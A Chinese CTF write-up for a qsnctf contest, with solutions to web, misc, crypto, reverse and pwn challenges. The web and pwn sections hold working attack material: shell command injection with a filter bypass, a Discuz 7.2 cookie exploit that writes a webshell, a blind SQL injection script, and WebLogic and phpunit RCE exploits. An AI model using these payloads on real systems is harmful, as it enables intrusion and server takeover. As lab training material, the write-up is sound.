排名12 整体题目不算特别难,简单的题好多没做出来,然后后面也没有耐心去看re和pwn了。

再加油吧。

口吐芬芳

个人评价是题目分值不怎么合理,一些难的题目分少。

还有就是,题目放的hint我是真觉得没什么作用,你提示了还不如不提示呢,好几个提示都长一样,你要提示就实质性一点 非要讲什么大白话。。

web难度还行,差一道AK 算简单的一类题。

crypto好几道古典密码没做出来,有点偏脑洞。

re好几题都是windows程序,IDA基本函数不识别很多看不懂,看得太累了,不会做也不太想做。

pwn是自己莼菜,简单题也是有的。

重点表扬一下misc!!套了太多没必要的知识点,比如那一长串hex的压缩包 真没有什么必要。。以及那道图片里的base64 我寻思哪个OCR这么牛逼能识别这么多数据,做完是真的很想骂人,纯恶心。出题人更是重量级,用线程+循环正则匹配就能解决100%,不得不说有点实力。最后出个原神的文字密码我真是大无语。

心情复杂,比完第一时间就是痛骂出题人。。

(认为我说的不对略过这段话就行 大可不用理会)

Web

开胃菜

<?php
highlight_file(__FILE__);
if(strlen($_GET[1]&&$_GET[1]<=5)){
    echo strlen($_GET[1]);
    echo '<hr/>';
    echo shell_exec($_GET[1]);
}

?>

直接RCE了,直接传参

?1=cat /flag

qsnctf{32ca8f37-6d2f-4e91-89c3-7c148f2fb981}

签到小能手


就在index.php,尝试访问其备份文件index.php.bak 发现能下载。得到flag


qsnctf{ae2cf82a-90a2-460a-b6bd-ac7466cde0e2}

小镇做题家


访问robots.txt发现有GAME路径


dirb扫描下,发现GAME/index.html

访问发现是一个前端贪吃蛇游戏


直接去找其js文件,发现了base数据


解密得到提示路径


让我们传一个payload,能读想读的文件

尝试传/etc/passwd 发现读取成功

但尝试输入php://filter读取时却没东西

说明代码的实现不是用php,可能是直接在shell里面执行,那么用运算符绕过下

1.txt|ls


成功执行,尝试cat /flag发现有过滤空格 那么加一个$IFS$9 简单bypass

Payload:?payload=1.txt|cat$IFS$9/fl*


qsnctf{16aef423-879d-40af-abec-7484c5dc56f4}

Discuz

Discuz社区论坛cms,发现版本为7.2


百度搜下漏洞,参考文章:https://blog.csdn.net/m0_65129142/article/details/122061221

URL:viewthread.php?tid=10&extra=page
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();


写一个马利用

#wf.php post:lalala
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

传参得到flag


qsnctf{521407c4-bdd6-41e5-9c68-32878ce2ad17}

Queen

一个登录界面,刚开始先f12看network状况,发现登进去的数据先传进login.php



要本地,hackbar头数据加一个X-Forwarded-For:127.0.0.1

发包再看network状态,发现多了一个check.php


内容data是一个base64,解密看看


发现我们传进的数据被base64加密了,user处可能存在sql注入漏洞,那么我们按照格式写好payload再base64编码 最后发送到服务器看看。

同时该请求是一个302重定向,用python requests处理下能看回显

import requests
url = "http://89f188af-9856-452f-9aed-f4ea82f83339.recruit.qsnctf.com:8080/check.php?data=dXNlcjphYWF8cGFzczphYWE="
headers = {"X-Forwarded-For":"127.0.0.1"}
http = requests.get(url,headers=headers,allow_redirects=False)
print(http.text)


构建payload:

user:admin' and 1=1 #|pass:aaa

发送发现回显是登陆成功。

所以这里是布尔盲注,我们可以用substr截断数据库或表名等字符串,然后再遍历ascii表,用if判断如果为结果为正确则为1,反则为0

这样通过回显就能爆破出数据库、表、字段和里面的内容了。

写了一个脚本,payload换用下即可。

爆出来数据为sql,表名为user,字段有id username password,flag在username字段

import requests
import base64
import time
import string


def main():
    table = string.printable.strip()
    res = ""
    i = 1
    while 1:
        n = 0
        while n < len(table):
            #payload = f"admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),{i},1)='{table[n]}',1,0); #"  
            #information_schema,mysql,performance_schema,ctftraining,test,sql
            #payload = f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{table[n]}',1,0); #"
            #flag_table,news,users # limit 1,1
            #payload = f"admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='users'),{i},1)='{table[n]}',1,0); #"
            payload = f"admin' and if(substr((select group_concat(password) from sql.user where username='flag'),{i},1)='{table[n]}',1,0); #"
            print(payload)


            payload = "user:{}|pass:admin".format(payload)
            content = base64.b64encode(payload.encode()).decode()


            url = f"http://89f188af-9856-452f-9aed-f4ea82f83339.recruit.qsnctf.com:8080/check.php?data={content}"


            headers = {"X-Forwarded-For":"127.0.0.1"}


            s = requests.Session()


            http = s.get(url,headers=headers,allow_redirects=False)
            if "登陆成功" in http.text:
                i += 1
                res += table[n]
                break
            print(res)
            n += 1
        if n == len(table):
            break
main()


qsnctf{8f55dfd1-4025-4095-96a8-6c7b14c14f91}

Weblogic


打开题目,如题所述是Weblogic,即weblogic server,版本是10.3

这里的漏洞是CVE-2019-2725 反序列化漏洞

刚开始尝试自己去利用,但自己用有太多的bug了 就用poc利用了。

POC: https://github.com/TopScrew/CVE-2019-2725

利用poc写一个jsp马

python weblogic-2019-2725.py 10.3.6 http://3fa5ca87-da93-4472-b33d-cd66efd5a816.recruit.qsnctf.com:8080


qsnctf{31d1e8e5-ede7-48e4-8f92-cd40a23d8e00}

Where

一个找网页的题目,都是各种各样的网页。。

访问容器,发现是一个前端网页 对我们做题没帮助


尝试搜索robots.txt看看有没有信息


给了一个路径/admin/(吐槽下你不放hint放这种没用的数据是几个意思??)

访问是一个登录平台,随便登陆下发现url给了下一个路径的提示



访问/vendor/有这个路径但不知道里面的文件


尝试百度vendor


发现了相关的路径,看了下发现这个eval-stdin.php有rce漏洞 

phpunit CVE-2017-9841

漏洞原理是因为该文件执行了php://input这个代码,造成远程代码执行。

这里用burpsuite进行执行代码,用hackbar会执行不了。


qsnctf{26c3ad89-2f03-45b7-aeb8-97a3c6be28b6}

MISC

签到


根据提示尝试公众号发送linux命令,发现可以执行 cat /flag即可

qsnctf{ba3c9f2e-56a8-416b-bc5d-dd379dede335}

EasyMisc


下载附件得到docx文件,直接改后缀为.zip看word/document.xml文件


发现base64,解密下,得到压缩包的hex值


处理下空格 写到文件里。


qsnctf{177af0b9-fbed-4a1e-a09f-4a580940c28c}

奇怪又不奇怪

下载附件得到图片:


能看出来是某种文字密码,但不知道是什么密码。卡了几天想到出题人是OP猜测是原神的文字表(…?)


对照得到flag

flag{moxiahjack}

脑洞题,题目描述提示了个寂寞。

ScanQR

下载附件得到QR码

很是熟悉,这个是汉信码


在线网站识别下,得到百度盘链接

访问能看到又是base


复制到basecrack解密下,又是hex值。。无语了这么喜欢hex


8950是png文件头,winhex同样处理下。


一张二维码,PS处理下 补全码头再扫描


qsnctf{29a1ea12-8dd3-4eb3-9a9f-c31e8755c565}

Cookie怎么分

流量分析题,但不完全需要看流量 把文件导出即可

下载附件得到pca流量包,wireshark分析

这边http导出全部,然后分析里面的文件

发现有带base64数据,解密看下


发现得到一半的flag



主要分析cookie.jpg这几张图片,能发现存在隐写

本来我认为这几张图片是一样的,所以前面就搞出来一个base11.txt,但后面用binwalk尝试分离的时候又搞出了另一个文本,发现图片是不一样的。

cookie1:


cookie2:


分别分离处理。

base11.txt:
又是这个hex值,同样处理下,因为这里数据有点多 所以用python处理下。

import binascii
with open('content.txt','r') as f:
    content = ''
    for i in f.read().split('\n'):
        content += i.replace(' ','')
    open('result.zip','wb').write(binascii.unhexlify(content))

得到result.zip 发现有密码

尝试爆破压缩包密码


成功恢复 得到密码20221108

得到图片

再看另一个文件

base00.txt:

同样分离,得到文本


再用脚本处理下,得到第二个压缩包,里面同样是一张图片



仔细看能发现另一张图片是多一行的,所以这里图片存在高度隐写,爆破下crc得到原图片


现在思路就很明显了,将两张图片的内容合并在一起,通过ocr和手动修改得到这串base64 再解密写到文件里。

ps处理合并下。

剩下就手动搞,不得不说这题是真套。把我恶心到了,出OCR还非得这么多数据 我起码对了三四个小时才搞好,因为这个base有一个错误图片就显示不完全,总之这种出法我觉得没什么实质意义。

注意事项就是OCR最好半行半行截取,准确率高一点,然后搞出来的数据像1和l 0和O 还有5和S之类的就需要自己手动去一个个对,可以把你写的数据截个图和原图放到ps,然后把原图透明度搞低,然后两张图对比下 这样比较快。

最后贴下脚本

import binascii
import base64


content3 = """
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
+Vp/p01UAAAAASUVORK5CYII=
""".split('\n')

content = ""
line = []
for i in content3:
    content += i
content+=""
print(content)
open('flag.png','wb').write(base64.b64decode(content))

运行得到flag的另一半,最后拼接得到最终flag


qsnctf{b5512946-d7ac-45c9-afd0-a3f28ba547ea}

Crypto

82.83.65

import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex


flag = b"*********************"


p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551


e = 65533
n = p*q


d = gmpy2.invert(e,(p-1)*(q-1))
# print(d)
c = pow(int(b2a_hex(flag),16),e,n)
print(c)
# C = 31021919570683223794356421266753186826747161146739784961769368259629146487802

c,e,n,p,q都知道 带入工具先搞出d 然后再搞明文得到flag


qsnctf{RSA_SO_EASY_!}

Snake

下载附件得到xlxs

根据提示就”s”型看数据,然后把数据16进制转换下得到flag

71736E6374667B33393962313063642D633366392D343931622D6466623564303365346364307D


qsnctf{399b10cd-c3f9-491b-dfb5d03e4cd0}

babyrsa RSbaby

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random


flag = "*************"


nbit = 128


p = getPrime(nbit)
q = getPrime(nbit)
n = p*q


print p
print n


phi = (p-1)*(q-1)


e = random.randint(20000,50000)


while True:
    if gcd(e,phi) == 1:
        break;
    else:
        e -= 1;


c = pow(int(b2a_hex(flag),16),e,n)


print b32encode(str(c))[::-1]


print str(c)


# 20392798836838831460465406987101354448592610558736461081264936079945558905138
p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
c = =gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM

n,p,c已知 e范围20000-50000 爆破下即可。

import base64
from gmpy2 import invert,gcd
from Crypto.Util.number import *


n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
p = 185392927331398754034773152474166007097
q = n//p
c = '=gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM'
c = int(base64.b64decode(c[::-1]).decode())


phi=(p-1)*(q-1)


for e in range(20000,50000):
    if gcd(e,phi) == 1:
        d = invert(e,phi)
        m = pow(c,d,n)
        if b'qsnctf' in (long_to_bytes(m)):
            print(long_to_bytes(m))

运行得到flag

qsnctf{!RSA_SO_EASY$$}

Reverse

Check

64位程序,主要程序:


异或解密下就行。

ls = ['q','r','l','`','p','c','}','J','8','q',';','e','S','A','a','y','u','N','k','|','a','4','k'] + [""]*100
for i in range(23):
    ls[i+24] = chr(i ^ ord(ls[i]))
print(''.join(ls[23:]))

qsnctf{M0x1n_Love_you!}

EasyBase

64位程序,windows程序代码是真的难看懂。。IDA分析


前面是接收数据,然后分别加密后与最终结果比对

中间的加密分别是rot13 -> base64 -> rot13

rot13函数:



base64函数:


需要注意的是这里如果直接在线网站解解出来是错的,因为这边rot13多了一个操作,就是对数字也进行偏移计算,偏移量为5:


写下脚本解密下,还需要注意下就是比对的字符串要reverse反转一下。

import base64
import string


def rot13(n):
    digit = string.digits
    lower = string.ascii_lowercase
    upper = string.ascii_uppercase
    res = ""
    for i in n:
        if i in digit:
            res += chr((digit.index(i) +5)%10 + 48)
        elif i in lower:
            res += chr((lower.index(i) + 13)%26 +97)
        elif i in upper:
            res += chr((upper.index(i) + 13)%26 +65)
        else:
            res += i
    return res


cipher = "=DzMuO8MmgaomuGA9Rmpj5lAkAwZgxQplNGYhOwAi6lAmywZlqGZ7LQB7pGs"[::-1]
print(cipher,rot13(cipher))
print(rot13(base64.b64decode(rot13(cipher)).decode())[::-1])


qsnctf{af3036f5-2d87-4c75-a51b-2f47e2611312}

This..is?


这题是一个程序通过构造参数 向web容器发送数据,所以也可以看懂了re直接在web里做


32位程序,大部分没看懂 都是根据关键词尝试最后试出来的。

程序有未定义代码需要修复一下,按p



程序就是根据用户输入的数据进行构造url数据包发送,再把请求截取回来。同时程序还有许多过滤,其实只要在web上发送就不会被过滤

已有信息账号admin 密码qsnctf2022_reverse

查看程序发现传参是?username=xxx&password=xxxx

web传一下


发现还需要传一个”shell”

尝试post不是,仔细看代码发现是headers的数据发送shell

那么hackbar构造一下再发送


提示Authorization有问题,Authorization即认证令牌 也是一个密码,再看程序。

程序里有一段base64 猜测是auth令牌的密码,解密得到:


带入Authorization再次传参成功RCE


qsnctf{72d3bae2-7985-4e7d-bce8-8d5a743b9564}

Pwn

game


猜测一个数如果对了就执行back函数

back:


用通配符绕过一下就能rce了

这边随机数绕过,因为题目给了libc 可以利用libc来构造随机数是一定正确的。

from pwn import *
from ctypes import *


context.log_level='debug'


p = remote('recruit.qsnctf.com',10080)


libc = cdll.LoadLibrary('libc.so.6')
libc.srand(0x37)

p.sendlineafter('guess num:\n',str(libc.rand()))
p.sendline('1.1.1.1|cat /flag')


p.interactive()


qsnctf{0301aa1c-9511-4a4d-9d32-a4811ba72b6f}

gift

int整型溢出,要求v4大于5,v4-1小于等于5。

取int最大值+1即可 2147483647+1 = 2147483648


qsnctf{39ee7f29-9bb2-42f5-950e-d6b21fcc563f}